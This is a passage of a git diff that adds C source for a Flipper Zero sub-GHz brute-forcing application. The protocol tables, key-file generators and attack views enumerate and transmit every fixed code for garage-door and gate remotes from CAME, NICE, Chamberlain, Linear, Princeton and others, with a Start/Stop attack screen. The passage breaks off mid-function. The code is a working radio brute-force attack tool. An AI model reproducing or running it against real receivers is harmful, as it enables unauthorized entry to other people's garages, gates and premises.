[MagellanFileProtocol] = "Magellan", + [IntertechnoV3FileProtocol] = "Intertechno_V3", + [AnsonicFileProtocol] = "Ansonic", + [SMC5326FileProtocol] = "SMC5326", + [UNILARMFileProtocol] = "SMC5326", + [PT2260FileProtocol] = "Princeton", + [HoneywellFileProtocol] = "Honeywell", + [HoltekFileProtocol] = "Holtek_HT12X", + [UnknownFileProtocol] = "Unknown"}; + +/** + * Values to not use less memory for packet parse operations + */ +static const char* subbrute_key_file_start_no_tail = + "Filetype: Flipper SubGhz Key File\nVersion: 1\nFrequency: %u\nPreset: %s\nProtocol: %s\nBit: %d\nKey: %s\nRepeat: %d\n"; +static const char* subbrute_key_file_start_with_tail = + "Filetype: Flipper SubGhz Key File\nVersion: 1\nFrequency: %u\nPreset: %s\nProtocol: %s\nBit: %d\nKey: %s\nTE: %d\nRepeat: %d\n"; +static const char* subbrute_key_small_no_tail = "Bit: %d\nKey: %s\nRepeat: %d\n"; +//static const char* subbrute_key_small_raw = +// "Filetype: Flipper SubGhz Key File\nVersion: 1\nFrequency: %u\nPreset: %s\nProtocol: %s\nBit: %d\n"; +static const char* subbrute_key_small_with_tail = "Bit: %d\nKey: %s\nTE: %d\nRepeat: %d\n"; + +const char* subbrute_protocol_name(SubBruteAttacks index) { + return subbrute_protocol_names[index]; +} + +const SubBruteProtocol* subbrute_protocol(SubBruteAttacks index) { + return subbrute_protocol_registry[index]; +} + +uint8_t subbrute_protocol_repeats_count(SubBruteAttacks index) { + return subbrute_protocol_registry[index]->repeat; +} + +const char* subbrute_protocol_preset(FuriHalSubGhzPreset preset) { + return subbrute_protocol_presets[preset]; +} + +const char* subbrute_protocol_file(SubBruteFileProtocol protocol) { + return subbrute_protocol_file_types[protocol]; +} + +FuriHalSubGhzPreset subbrute_protocol_convert_preset(FuriString* preset_name) { + for(size_t i = FuriHalSubGhzPresetIDLE; i < FuriHalSubGhzPresetCustom; i++) { + if(furi_string_cmp_str(preset_name, subbrute_protocol_presets[i]) == 0) { + return i; + } + } + + return FuriHalSubGhzPresetIDLE; +} + +SubBruteFileProtocol subbrute_protocol_file_protocol_name(FuriString* name) { + for(size_t i = CAMEFileProtocol; i < TotalFileProtocol - 1; i++) { + if(furi_string_cmp_str(name, subbrute_protocol_file_types[i]) == 0) { + return i; + } + } + + return UnknownFileProtocol; +} + +void subbrute_protocol_create_candidate_for_existing_file( + FuriString* candidate, + uint64_t step, + uint8_t bit_index, + uint64_t file_key, + bool two_bytes) { + uint8_t p[8]; + for(int i = 0; i < 8; i++) { + p[i] = (uint8_t)(file_key >> 8 * (7 - i)) & 0xFF; + } + uint8_t low_byte = step & (0xff); + uint8_t high_byte = (step >> 8) & 0xff; + + size_t size = sizeof(uint64_t); + for(uint8_t i = 0; i < size; i++) { + if(i == bit_index - 1 && two_bytes) { + furi_string_cat_printf(candidate, "%02X %02X", high_byte, low_byte); + i++; + } else if(i == bit_index) { + furi_string_cat_printf(candidate, "%02X", low_byte); + } else if(p[i] != 0) { + furi_string_cat_printf(candidate, "%02X", p[i]); + } else { + furi_string_cat_printf(candidate, "%s", "00"); + } + + if(i < size - 1) { + furi_string_push_back(candidate, ' '); + } + } + +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "file candidate: %s, step: %lld", furi_string_get_cstr(candidate), step); +#endif +} + +void subbrute_protocol_create_candidate_for_default( + FuriString* candidate, + SubBruteFileProtocol file, + uint64_t step) { + uint8_t p[8]; + if(file == SMC5326FileProtocol) { + const uint8_t lut[] = {0x00, 0x02, 0x03}; // 00, 10, 11 + const uint64_t gate1 = 0x01D5; // 111010101 + //const uint8_t gate2 = 0x0175; // 101110101 + + uint64_t total = 0; + for(size_t j = 0; j < 8; j++) { + total |= lut[step % 3] << (2 * j); + double sub_step = step / 3; + step = (uint64_t)floor(sub_step); + } + total <<= 9; + total |= gate1; + + for(int i = 0; i < 8; i++) { + p[i] = (uint8_t)(total >> 8 * (7 - i)) & 0xFF; + } + } else if(file == UNILARMFileProtocol) { + const uint8_t lut[] = {0x00, 0x02, 0x03}; // 00, 10, 11 + const uint64_t gate1 = 3 << 7; + //const uint8_t gate2 = 3 << 5; + + uint64_t total = 0; + for(size_t j = 0; j < 8; j++) { + total |= lut[step % 3] << (2 * j); + double sub_step = step / 3; + step = (uint64_t)floor(sub_step); + } + total <<= 9; + total |= gate1; + + for(int i = 0; i < 8; i++) { + p[i] = (uint8_t)(total >> 8 * (7 - i)) & 0xFF; + } + } else if(file == PT2260FileProtocol) { + const uint8_t lut[] = {0x00, 0x01, 0x03}; // 00, 01, 11 + const uint64_t button_open = 0x03; // 11 + //const uint8_t button_lock = 0x0C; // 1100 + //const uint8_t button_stop = 0x30; // 110000 + //const uint8_t button_close = 0xC0; // 11000000 + + uint64_t total = 0; + for(size_t j = 0; j < 8; j++) { + total |= lut[step % 3] << (2 * j); + double sub_step = step / 3; + step = (uint64_t)floor(sub_step); + } + total <<= 8; + total |= button_open; + + for(int i = 0; i < 8; i++) { + p[i] = (uint8_t)(total >> 8 * (7 - i)) & 0xFF; + } + } else { + for(int i = 0; i < 8; i++) { + p[i] = (uint8_t)(step >> 8 * (7 - i)) & 0xFF; + } + } + + size_t size = sizeof(uint64_t); + for(uint8_t i = 0; i < size; i++) { + if(p[i] != 0) { + furi_string_cat_printf(candidate, "%02X", p[i]); + } else { + furi_string_cat_printf(candidate, "%s", "00"); + } + + if(i < size - 1) { + furi_string_push_back(candidate, ' '); + } + } + +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "candidate: %s, step: %lld", furi_string_get_cstr(candidate), step); +#endif +} + +void subbrute_protocol_default_payload( + Stream* stream, + SubBruteFileProtocol file, + uint64_t step, + uint8_t bits, + uint32_t te, + uint8_t repeat) { + FuriString* candidate = furi_string_alloc(); + subbrute_protocol_create_candidate_for_default(candidate, file, step); + +#ifdef FURI_DEBUG + FURI_LOG_D( + TAG, + "candidate: %s, step: %lld, repeat: %d, te: %s", + furi_string_get_cstr(candidate), + step, + repeat, + te ? "true" : "false"); +#endif + stream_clean(stream); + if(te) { + stream_write_format( + stream, + subbrute_key_small_with_tail, + bits, + furi_string_get_cstr(candidate), + te, + repeat); + } else { + stream_write_format( + stream, subbrute_key_small_no_tail, bits, furi_string_get_cstr(candidate), repeat); + } + + furi_string_free(candidate); +} + +void subbrute_protocol_file_payload( + Stream* stream, + uint64_t step, + uint8_t bits, + uint32_t te, + uint8_t repeat, + uint8_t bit_index, + uint64_t file_key, + bool two_bytes) { + FuriString* candidate = furi_string_alloc(); + subbrute_protocol_create_candidate_for_existing_file( + candidate, step, bit_index, file_key, two_bytes); + +#ifdef FURI_DEBUG + FURI_LOG_D( + TAG, + "candidate: %s, step: %lld, repeat: %d, te: %s", + furi_string_get_cstr(candidate), + step, + repeat, + te ? "true" : "false"); +#endif + stream_clean(stream); + + if(te) { + stream_write_format( + stream, + subbrute_key_small_with_tail, + bits, + furi_string_get_cstr(candidate), + te, + repeat); + } else { + stream_write_format( + stream, subbrute_key_small_no_tail, bits, furi_string_get_cstr(candidate), repeat); + } + + furi_string_free(candidate); +} + +void subbrute_protocol_default_generate_file( + Stream* stream, + uint32_t frequency, + FuriHalSubGhzPreset preset, + SubBruteFileProtocol file, + uint64_t step, + uint8_t bits, + uint32_t te, + uint8_t repeat) { + FuriString* candidate = furi_string_alloc(); + subbrute_protocol_create_candidate_for_default(candidate, file, step); + +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "candidate: %s, step: %lld", furi_string_get_cstr(candidate), step); +#endif + stream_clean(stream); + + if(te) { + stream_write_format( + stream, + subbrute_key_file_start_with_tail, + frequency, + subbrute_protocol_preset(preset), + subbrute_protocol_file(file), + bits, + furi_string_get_cstr(candidate), + te, + repeat); + } else { + stream_write_format( + stream, + subbrute_key_file_start_no_tail, + frequency, + subbrute_protocol_preset(preset), + subbrute_protocol_file(file), + bits, + furi_string_get_cstr(candidate), + repeat); + } + + furi_string_free(candidate); +} + +void subbrute_protocol_file_generate_file( + Stream* stream, + uint32_t frequency, + FuriHalSubGhzPreset preset, + SubBruteFileProtocol file, + uint64_t step, + uint8_t bits, + uint32_t te, + uint8_t repeat, + uint8_t bit_index, + uint64_t file_key, + bool two_bytes) { + FuriString* candidate = furi_string_alloc(); + // char subbrute_payload_byte[8]; + //furi_string_set_str(candidate, file_key); + subbrute_protocol_create_candidate_for_existing_file( + candidate, step, bit_index, file_key, two_bytes); + + stream_clean(stream); + if(te) { + stream_write_format( + stream, + subbrute_key_file_start_with_tail, + frequency, + subbrute_protocol_preset(preset), + subbrute_protocol_file(file), + bits, + furi_string_get_cstr(candidate), + te, + repeat); + } else { + stream_write_format( + stream, + subbrute_key_file_start_no_tail, + frequency, + subbrute_protocol_preset(preset), + subbrute_protocol_file(file), + bits, + furi_string_get_cstr(candidate), + repeat); + } + + furi_string_free(candidate); +} + +uint64_t + subbrute_protocol_calc_max_value(SubBruteAttacks attack_type, uint8_t bits, bool two_bytes) { + uint64_t max_value; + if(attack_type == SubBruteAttackLoadFile) { + max_value = two_bytes ? 0xFFFF : 0xFF; + } else if( + attack_type == SubBruteAttackSMC532624bit330 || + attack_type == SubBruteAttackSMC532624bit433 || + attack_type == SubBruteAttackUNILARM24bit330 || + attack_type == SubBruteAttackUNILARM24bit433 || + attack_type == SubBruteAttackPT226024bit315 || + attack_type == SubBruteAttackPT226024bit330 || + attack_type == SubBruteAttackPT226024bit390 || + attack_type == SubBruteAttackPT226024bit433) { + max_value = 6561; + } else { + FuriString* max_value_s; + max_value_s = furi_string_alloc(); + for(uint8_t i = 0; i < bits; i++) { + furi_string_cat_printf(max_value_s, "1"); + } + max_value = (uint64_t)strtol(furi_string_get_cstr(max_value_s), NULL, 2); + furi_string_free(max_value_s); + } + + return max_value; +} \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/subbrute_protocols.h b/applications/external/subghz_bruteforcer/subbrute_protocols.h new file mode 100644 index 000000000..2f41b185b --- /dev/null +++ b/applications/external/subghz_bruteforcer/subbrute_protocols.h @@ -0,0 +1,128 @@ +#pragma once + +#include +#include +#include +#include + +typedef enum { + CAMEFileProtocol, + NICEFileProtocol, + ChamberlainFileProtocol, + LinearFileProtocol, + LinearDeltaFileProtocol, + PrincetonFileProtocol, + RAWFileProtocol, + BETTFileProtocol, + ClemsaFileProtocol, + DoitrandFileProtocol, + GateTXFileProtocol, + MagellanFileProtocol, + IntertechnoV3FileProtocol, + AnsonicFileProtocol, + SMC5326FileProtocol, + UNILARMFileProtocol, + PT2260FileProtocol, + HoneywellFileProtocol, + HoltekFileProtocol, + UnknownFileProtocol, + TotalFileProtocol, +} SubBruteFileProtocol; + +typedef enum { + SubBruteAttackCAME12bit303, + SubBruteAttackCAME12bit307, + SubBruteAttackCAME12bit315, + SubBruteAttackCAME12bit433, + SubBruteAttackCAME12bit868, + SubBruteAttackNICE12bit433, + SubBruteAttackNICE12bit868, + SubBruteAttackAnsonic12bit433075, + SubBruteAttackAnsonic12bit433, + SubBruteAttackAnsonic12bit434, + SubBruteAttackHoltek12bitFM433, + SubBruteAttackHoltek12bitAM433, + SubBruteAttackHoltek12bitAM315, + SubBruteAttackHoltek12bitAM868, + SubBruteAttackHoltek12bitAM915, + SubBruteAttackChamberlain9bit300, + SubBruteAttackChamberlain9bit315, + SubBruteAttackChamberlain9bit390, + SubBruteAttackChamberlain9bit433, + SubBruteAttackChamberlain8bit300, + SubBruteAttackChamberlain8bit315, + SubBruteAttackChamberlain8bit390, + SubBruteAttackChamberlain7bit300, + SubBruteAttackChamberlain7bit315, + SubBruteAttackChamberlain7bit390, + SubBruteAttackLinear10bit300, + SubBruteAttackLinear10bit310, + SubBruteAttackLinearDelta8bit310, + SubBruteAttackUNILARM24bit330, + SubBruteAttackUNILARM24bit433, + SubBruteAttackSMC532624bit330, + SubBruteAttackSMC532624bit433, + SubBruteAttackPT226024bit315, + SubBruteAttackPT226024bit330, + SubBruteAttackPT226024bit390, + SubBruteAttackPT226024bit433, + SubBruteAttackLoadFile, + SubBruteAttackTotalCount, +} SubBruteAttacks; + +typedef struct { + uint32_t frequency; + uint8_t bits; + uint32_t te; + uint8_t repeat; + FuriHalSubGhzPreset preset; + SubBruteFileProtocol file; +} SubBruteProtocol; + +const SubBruteProtocol* subbrute_protocol(SubBruteAttacks index); +const char* subbrute_protocol_preset(FuriHalSubGhzPreset preset); +const char* subbrute_protocol_file(SubBruteFileProtocol protocol); +FuriHalSubGhzPreset subbrute_protocol_convert_preset(FuriString* preset_name); +SubBruteFileProtocol subbrute_protocol_file_protocol_name(FuriString* name); +uint8_t subbrute_protocol_repeats_count(SubBruteAttacks index); +const char* subbrute_protocol_name(SubBruteAttacks index); + +void subbrute_protocol_default_payload( + Stream* stream, + SubBruteFileProtocol file, + uint64_t step, + uint8_t bits, + uint32_t te, + uint8_t repeat); +void subbrute_protocol_file_payload( + Stream* stream, + uint64_t step, + uint8_t bits, + uint32_t te, + uint8_t repeat, + uint8_t bit_index, + uint64_t file_key, + bool two_bytes); +void subbrute_protocol_default_generate_file( + Stream* stream, + uint32_t frequency, + FuriHalSubGhzPreset preset, + SubBruteFileProtocol file, + uint64_t step, + uint8_t bits, + uint32_t te, + uint8_t repeat); +void subbrute_protocol_file_generate_file( + Stream* stream, + uint32_t frequency, + FuriHalSubGhzPreset preset, + SubBruteFileProtocol file, + uint64_t step, + uint8_t bits, + uint32_t te, + uint8_t repeat, + uint8_t bit_index, + uint64_t file_key, + bool two_bytes); +uint64_t + subbrute_protocol_calc_max_value(SubBruteAttacks attack_type, uint8_t bits, bool two_bytes); \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/views/subbrute_attack_view.c b/applications/external/subghz_bruteforcer/views/subbrute_attack_view.c new file mode 100644 index 000000000..d7770bb44 --- /dev/null +++ b/applications/external/subghz_bruteforcer/views/subbrute_attack_view.c @@ -0,0 +1,341 @@ +#include "subbrute_attack_view.h" +#include "../subbrute_i.h" +#include "../subbrute_protocols.h" +#include "../helpers/gui_top_buttons.h" + +#include +#include +#include +#include +#include + +#define TAG "SubBruteAttackView" + +struct SubBruteAttackView { + View* view; + SubBruteAttackViewCallback callback; + void* context; + SubBruteAttacks attack_type; + uint64_t max_value; + uint64_t current_step; + bool is_attacking; + uint8_t extra_repeats; +}; + +typedef struct { + SubBruteAttacks attack_type; + uint64_t max_value; + uint64_t current_step; + uint8_t extra_repeats; + bool is_attacking; + IconAnimation* icon; +} SubBruteAttackViewModel; + +void subbrute_attack_view_set_callback( + SubBruteAttackView* instance, + SubBruteAttackViewCallback callback, + void* context) { + furi_assert(instance); + furi_assert(callback); + + instance->callback = callback; + instance->context = context; +} + +bool subbrute_attack_view_input(InputEvent* event, void* context) { + furi_assert(event); + furi_assert(context); + SubBruteAttackView* instance = context; +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "InputKey: %d", event->key); +#endif + + if(event->key == InputKeyBack && event->type == InputTypeShort) { + instance->is_attacking = false; + with_view_model( + instance->view, + SubBruteAttackViewModel * model, + { model->is_attacking = false; }, + true); + + instance->callback(SubBruteCustomEventTypeBackPressed, instance->context); + return true; + } + + bool update = false; + + if(!instance->is_attacking) { + if(event->type == InputTypeShort && event->key == InputKeyOk) { +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "InputKey: %d OK", event->key); +#endif + instance->is_attacking = true; + instance->callback(SubBruteCustomEventTypeTransmitStarted, instance->context); + update = true; + } else if(event->key == InputKeyUp) { + instance->callback(SubBruteCustomEventTypeSaveFile, instance->context); + update = true; + } else if(event->key == InputKeyDown) { + instance->callback(SubBruteCustomEventTypeTransmitCustom, instance->context); + update = true; + } else if(event->type == InputTypeShort) { + if(event->key == InputKeyLeft) { + instance->callback(SubBruteCustomEventTypeChangeStepDown, instance->context); + } else if(event->key == InputKeyRight) { + instance->callback(SubBruteCustomEventTypeChangeStepUp, instance->context); + } + update = true; + } else if(event->type == InputTypeRepeat) { + if(event->key == InputKeyLeft) { + instance->callback(SubBruteCustomEventTypeChangeStepDownMore, instance->context); + } else if(event->key == InputKeyRight) { + instance->callback(SubBruteCustomEventTypeChangeStepUpMore, instance->context); + } + update = true; + } + } else { + // ATTACK Mode! + if((event->type == InputTypeShort || event->type == InputTypeRepeat) && + (event->key == InputKeyOk || event->key == InputKeyBack)) { + instance->is_attacking = false; + instance->callback(SubBruteCustomEventTypeTransmitNotStarted, instance->context); + + update = true; + } + } + + if(update) { + with_view_model( + instance->view, + SubBruteAttackViewModel * model, + { + if(model->is_attacking != instance->is_attacking) { + if(instance->is_attacking) { + icon_animation_stop(model->icon); + icon_animation_start(model->icon); + } else { + icon_animation_stop(model->icon); + } + } + + model->attack_type = instance->attack_type; + model->max_value = instance->max_value; + model->current_step = instance->current_step; + model->is_attacking = instance->is_attacking; + }, + true); + } + + return true; +} + +SubBruteAttackView* subbrute_attack_view_alloc() { + SubBruteAttackView* instance = malloc(sizeof(SubBruteAttackView)); + + instance->view = view_alloc(); + view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(SubBruteAttackViewModel)); + view_set_context(instance->view, instance); + + with_view_model( + instance->view, + SubBruteAttackViewModel * model, + { + model->icon = icon_animation_alloc(&A_Sub1ghz_14); + view_tie_icon_animation(instance->view, model->icon); + }, + true); + + view_set_draw_callback(instance->view, (ViewDrawCallback)subbrute_attack_view_draw); + view_set_input_callback(instance->view, subbrute_attack_view_input); + view_set_enter_callback(instance->view, subbrute_attack_view_enter); + view_set_exit_callback(instance->view, subbrute_attack_view_exit); + + instance->attack_type = SubBruteAttackTotalCount; + instance->max_value = 0x00; + instance->current_step = 0; + instance->is_attacking = false; + + return instance; +} + +void subbrute_attack_view_enter(void* context) { + furi_assert(context); + +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_attack_view_enter"); +#endif +} + +void subbrute_attack_view_free(SubBruteAttackView* instance) { + furi_assert(instance); + +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_attack_view_free"); +#endif + + with_view_model( + instance->view, + SubBruteAttackViewModel * model, + { icon_animation_free(model->icon); }, + false); + + view_free(instance->view); + free(instance); +} + +View* subbrute_attack_view_get_view(SubBruteAttackView* instance) { + furi_assert(instance); + return instance->view; +} + +void subbrute_attack_view_set_current_step(SubBruteAttackView* instance, uint64_t current_step) { + furi_assert(instance); +#ifdef FURI_DEBUG + //FURI_LOG_D(TAG, "Set step: %d", current_step); +#endif + instance->current_step = current_step; + with_view_model( + instance->view, + SubBruteAttackViewModel * model, + { model->current_step = current_step; }, + true); +} + +// We need to call init every time, because not every time we calls enter +// normally, call enter only once +void subbrute_attack_view_init_values( + SubBruteAttackView* instance, + uint8_t index, + uint64_t max_value, + uint64_t current_step, + bool is_attacking, + uint8_t extra_repeats) { +#ifdef FURI_DEBUG + FURI_LOG_I( + TAG, + "INIT, attack_type: %d, max_value: %lld, current_step: %lld, extra_repeats: %d", + index, + max_value, + current_step, + extra_repeats); +#endif + instance->attack_type = index; + instance->max_value = max_value; + instance->current_step = current_step; + instance->is_attacking = is_attacking; + instance->extra_repeats = extra_repeats; + + with_view_model( + instance->view, + SubBruteAttackViewModel * model, + { + model->max_value = max_value; + model->attack_type = index; + model->current_step = current_step; + model->is_attacking = is_attacking; + model->extra_repeats = extra_repeats; + if(is_attacking) { + icon_animation_start(model->icon); + } else { + icon_animation_stop(model->icon); + } + }, + true); +} + +void subbrute_attack_view_exit(void* context) { + furi_assert(context); + SubBruteAttackView* instance = context; +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_attack_view_exit"); +#endif + with_view_model( + instance->view, + SubBruteAttackViewModel * model, + { icon_animation_stop(model->icon); }, + false); +} + +void subbrute_attack_view_draw(Canvas* canvas, void* context) { + furi_assert(context); + SubBruteAttackViewModel* model = (SubBruteAttackViewModel*)context; + char buffer[64]; + + const char* attack_name = NULL; + attack_name = subbrute_protocol_name(model->attack_type); + + // Title + if(model->is_attacking) { + canvas_set_color(canvas, ColorBlack); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, attack_name); + } + + // Current Step / Max value + const uint8_t y_frequency = 17; + if(model->max_value > 9999) { + canvas_set_font(canvas, FontBigNumbers); + snprintf(buffer, sizeof(buffer), "%05d/", (int)model->current_step); + canvas_draw_str_aligned(canvas, 5, y_frequency, AlignLeft, AlignTop, buffer); + + // Second part with another font, because BigNumber is out of screen bounds + canvas_set_font(canvas, FontPrimary); + snprintf(buffer, sizeof(buffer), "%05d", (int)model->max_value); + canvas_draw_str_aligned(canvas, 107, y_frequency + 13, AlignRight, AlignBottom, buffer); + } else if(model->max_value <= 0xFF) { + canvas_set_font(canvas, FontBigNumbers); + snprintf( + buffer, sizeof(buffer), "%03d/%03d", (int)model->current_step, (int)model->max_value); + canvas_draw_str_aligned(canvas, 64, y_frequency, AlignCenter, AlignTop, buffer); + } else { + canvas_set_font(canvas, FontBigNumbers); + snprintf( + buffer, sizeof(buffer), "%04d/%04d", (int)model->current_step, (int)model->max_value); + canvas_draw_str_aligned(canvas, 64, y_frequency, AlignCenter, AlignTop, buffer); + } + canvas_set_font(canvas, FontSecondary); + + memset(buffer, 0, sizeof(buffer)); + if(!model->is_attacking) { + canvas_set_color(canvas, ColorBlack); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 64, 44, AlignCenter, AlignBottom, attack_name); + + snprintf( + buffer, + sizeof(buffer), + "x%d", + model->extra_repeats + subbrute_protocol_repeats_count(model->attack_type)); + canvas_draw_str_aligned(canvas, 60, 6, AlignCenter, AlignCenter, buffer); + + elements_button_left(canvas, "-1"); + elements_button_right(canvas, "+1"); + elements_button_center(canvas, "Start"); + elements_button_top_left(canvas, "Save"); + elements_button_top_right(canvas, "Resend"); + } else { + // canvas_draw_icon_animation + const uint8_t icon_h_offset = 0; + const uint8_t icon_width_with_offset = + icon_animation_get_width(model->icon) + icon_h_offset; + const uint8_t icon_v_offset = icon_animation_get_height(model->icon); // + vertical_offset; + const uint8_t x = canvas_width(canvas); + const uint8_t y = canvas_height(canvas); + canvas_draw_icon_animation( + canvas, x - icon_width_with_offset, y - icon_v_offset, model->icon); + // Progress bar + // Resolution: 128x64 px + float progress_value = (float)model->current_step / model->max_value; + elements_progress_bar(canvas, 8, 37, 110, progress_value > 1 ? 1 : progress_value); + + snprintf( + buffer, + sizeof(buffer), + "x%d", + model->extra_repeats + subbrute_protocol_repeats_count(model->attack_type)); + canvas_draw_str(canvas, 4, y - 8, buffer); + canvas_draw_str(canvas, 4, y - 1, "repeats"); + + elements_button_center(canvas, "Stop"); + } +} diff --git a/applications/external/subghz_bruteforcer/views/subbrute_attack_view.h b/applications/external/subghz_bruteforcer/views/subbrute_attack_view.h new file mode 100644 index 000000000..55e3a8222 --- /dev/null +++ b/applications/external/subghz_bruteforcer/views/subbrute_attack_view.h @@ -0,0 +1,25 @@ +#pragma once + +#include "../subbrute_custom_event.h" +#include +#include +#include + +typedef void (*SubBruteAttackViewCallback)(SubBruteCustomEvent event, void* context); +typedef struct SubBruteAttackView SubBruteAttackView; + +void subbrute_attack_view_set_callback( + SubBruteAttackView* instance, + SubBruteAttackViewCallback callback, + void* context); +SubBruteAttackView* subbrute_attack_view_alloc(); +void subbrute_attack_view_free(SubBruteAttackView* instance); +View* subbrute_attack_view_get_view(SubBruteAttackView* instance); +void subbrute_attack_view_set_current_step(SubBruteAttackView* instance, uint64_t current_step); +void subbrute_attack_view_init_values( + SubBruteAttackView* instance, + uint8_t index, + uint64_t max_value, + uint64_t current_step, + bool is_attacking, + uint8_t extra_repeats); \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/views/subbrute_main_view.c b/applications/external/subghz_bruteforcer/views/subbrute_main_view.c new file mode 100644 index 000000000..c21f2ea33 --- /dev/null +++ b/applications/external/subghz_bruteforcer/views/subbrute_main_view.c @@ -0,0 +1,463 @@ +#include "subbrute_main_view.h" +#include "../subbrute_i.h" +#include "../subbrute_protocols.h" +#include "../helpers/gui_top_buttons.h" + +#include +#include +#include + +#define STATUS_BAR_Y_SHIFT 14 +#define TAG "SubBruteMainView" + +#define ITEMS_ON_SCREEN 3 +#define ITEMS_INTERVAL 1 +#define ITEM_WIDTH 14 +#define ITEM_Y 27 +#define ITEM_HEIGHT 13 +#define TEXT_X 6 +#define TEXT_Y 37 +#define TEXT_INTERVAL 3 +#define TEXT_WIDTH 12 +#define ITEM_FRAME_RADIUS 2 + +struct SubBruteMainView { + View* view; + SubBruteMainViewCallback callback; + void* context; + uint8_t index; + bool is_select_byte; + bool two_bytes; + uint64_t key_from_file; + uint8_t extra_repeats; + uint8_t window_position; +}; + +typedef struct { + uint8_t index; + uint8_t extra_repeats; + uint8_t window_position; + bool is_select_byte; + bool two_bytes; + uint64_t key_from_file; +} SubBruteMainViewModel; + +void subbrute_main_view_set_callback( + SubBruteMainView* instance, + SubBruteMainViewCallback callback, + void* context) { + furi_assert(instance); + furi_assert(callback); + + instance->callback = callback; + instance->context = context; +} + +void subbrute_main_view_center_displayed_key( + Canvas* canvas, + uint64_t key, + uint8_t index, + bool two_bytes) { + uint8_t text_x = TEXT_X; + uint8_t item_x = TEXT_X - ITEMS_INTERVAL; + canvas_set_font(canvas, FontSecondary); + + for(int i = 0; i < 8; i++) { + char current_value[3] = {0}; + uint8_t byte_value = (uint8_t)(key >> 8 * (7 - i)) & 0xFF; + snprintf(current_value, sizeof(current_value), "%02X", byte_value); + + // For two bytes we need to select prev location + if(!two_bytes && i == index) { + canvas_set_color(canvas, ColorBlack); + canvas_draw_rbox( + canvas, item_x - 1, ITEM_Y, ITEM_WIDTH + 1, ITEM_HEIGHT, ITEM_FRAME_RADIUS); + canvas_set_color(canvas, ColorWhite); + canvas_draw_str(canvas, text_x, TEXT_Y, current_value); + } else if(two_bytes && (i == index || i == index - 1)) { + if(i == index) { + canvas_set_color(canvas, ColorBlack); + canvas_draw_rbox( + canvas, + item_x - ITEMS_INTERVAL - ITEM_WIDTH - 1, + ITEM_Y, + ITEM_WIDTH * 2 + ITEMS_INTERVAL * 2 + 1, + ITEM_HEIGHT, + ITEM_FRAME_RADIUS); + + canvas_set_color(canvas, ColorWhite); + canvas_draw_str(canvas, text_x, TEXT_Y, current_value); + + // Redraw prev element with white + memset(current_value, 0, sizeof(current_value)); + byte_value = (uint8_t)(key >> 8 * (7 - i + 1)) & 0xFF; + snprintf(current_value, sizeof(current_value), "%02X", byte_value); + canvas_draw_str( + canvas, text_x - (TEXT_WIDTH + TEXT_INTERVAL), TEXT_Y, current_value); + } else { + canvas_set_color(canvas, ColorWhite); + canvas_draw_str(canvas, text_x, TEXT_Y, current_value); + } + } else { + canvas_set_color(canvas, ColorBlack); + canvas_draw_str(canvas, text_x, TEXT_Y, current_value); + } + text_x = text_x + TEXT_WIDTH + TEXT_INTERVAL; + item_x = item_x + ITEM_WIDTH + ITEMS_INTERVAL; + } + + // Return normal color + canvas_set_color(canvas, ColorBlack); +} + +void subbrute_main_view_draw(Canvas* canvas, SubBruteMainViewModel* model) { + uint16_t screen_width = canvas_width(canvas); + uint16_t screen_height = canvas_height(canvas); + + if(model->is_select_byte) { +#ifdef FURI_DEBUG + //FURI_LOG_D(TAG, "key_from_file: %s", model->key_from_file); +#endif + //char msg_index[18]; + //snprintf(msg_index, sizeof(msg_index), "Field index: %d", model->index); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned( + canvas, 64, 17, AlignCenter, AlignTop, "Please select values to calc:"); + + subbrute_main_view_center_displayed_key( + canvas, model->key_from_file, model->index, model->two_bytes); + //const char* line = furi_string_get_cstr(menu_items); + //canvas_set_font(canvas, FontSecondary); + //canvas_draw_str_aligned( + // canvas, 64, 37, AlignCenter, AlignTop, furi_string_get_cstr(menu_items)); + + elements_button_center(canvas, "Select"); + if(model->index > 0) { + elements_button_left(canvas, " "); + } + if(model->index < 7) { + elements_button_right(canvas, " "); + } + // Switch to another mode + if(model->two_bytes) { + elements_button_top_left(canvas, "One byte"); + } else { + elements_button_top_left(canvas, "Two bytes"); + } + } else { + // Title + canvas_set_font(canvas, FontPrimary); + canvas_draw_box(canvas, 0, 0, canvas_width(canvas), STATUS_BAR_Y_SHIFT); + canvas_invert_color(canvas); + canvas_draw_str_aligned(canvas, 64, 3, AlignCenter, AlignTop, SUBBRUTEFORCER_VER); + canvas_invert_color(canvas); + + // Menu + canvas_set_color(canvas, ColorBlack); + canvas_set_font(canvas, FontSecondary); + const uint8_t item_height = 16; + +#ifdef FURI_DEBUG + //FURI_LOG_D(TAG, "window_position: %d, index: %d", model->window_position, model->index); +#endif + for(uint8_t position = 0; position < SubBruteAttackTotalCount; ++position) { + uint8_t item_position = position - model->window_position; + + if(item_position < ITEMS_ON_SCREEN) { + if(model->index == position) { + canvas_draw_str_aligned( + canvas, + 4, + 9 + (item_position * item_height) + STATUS_BAR_Y_SHIFT, + AlignLeft, + AlignCenter, + subbrute_protocol_name(position)); + + if(model->extra_repeats > 0) { + canvas_set_font(canvas, FontBatteryPercent); + char buffer[10]; + snprintf( + buffer, + sizeof(buffer), + "x%d", + model->extra_repeats + subbrute_protocol_repeats_count(model->index)); + canvas_draw_str_aligned( + canvas, + screen_width - 15, + 9 + (item_position * item_height) + STATUS_BAR_Y_SHIFT, + AlignLeft, + AlignCenter, + buffer); + canvas_set_font(canvas, FontSecondary); + } + + elements_frame( + canvas, 1, 1 + (item_position * item_height) + STATUS_BAR_Y_SHIFT, 124, 15); + } else { + canvas_draw_str_aligned( + canvas, + 4, + 9 + (item_position * item_height) + STATUS_BAR_Y_SHIFT, + AlignLeft, + AlignCenter, + subbrute_protocol_name(position)); + } + } + } + + elements_scrollbar_pos( + canvas, + 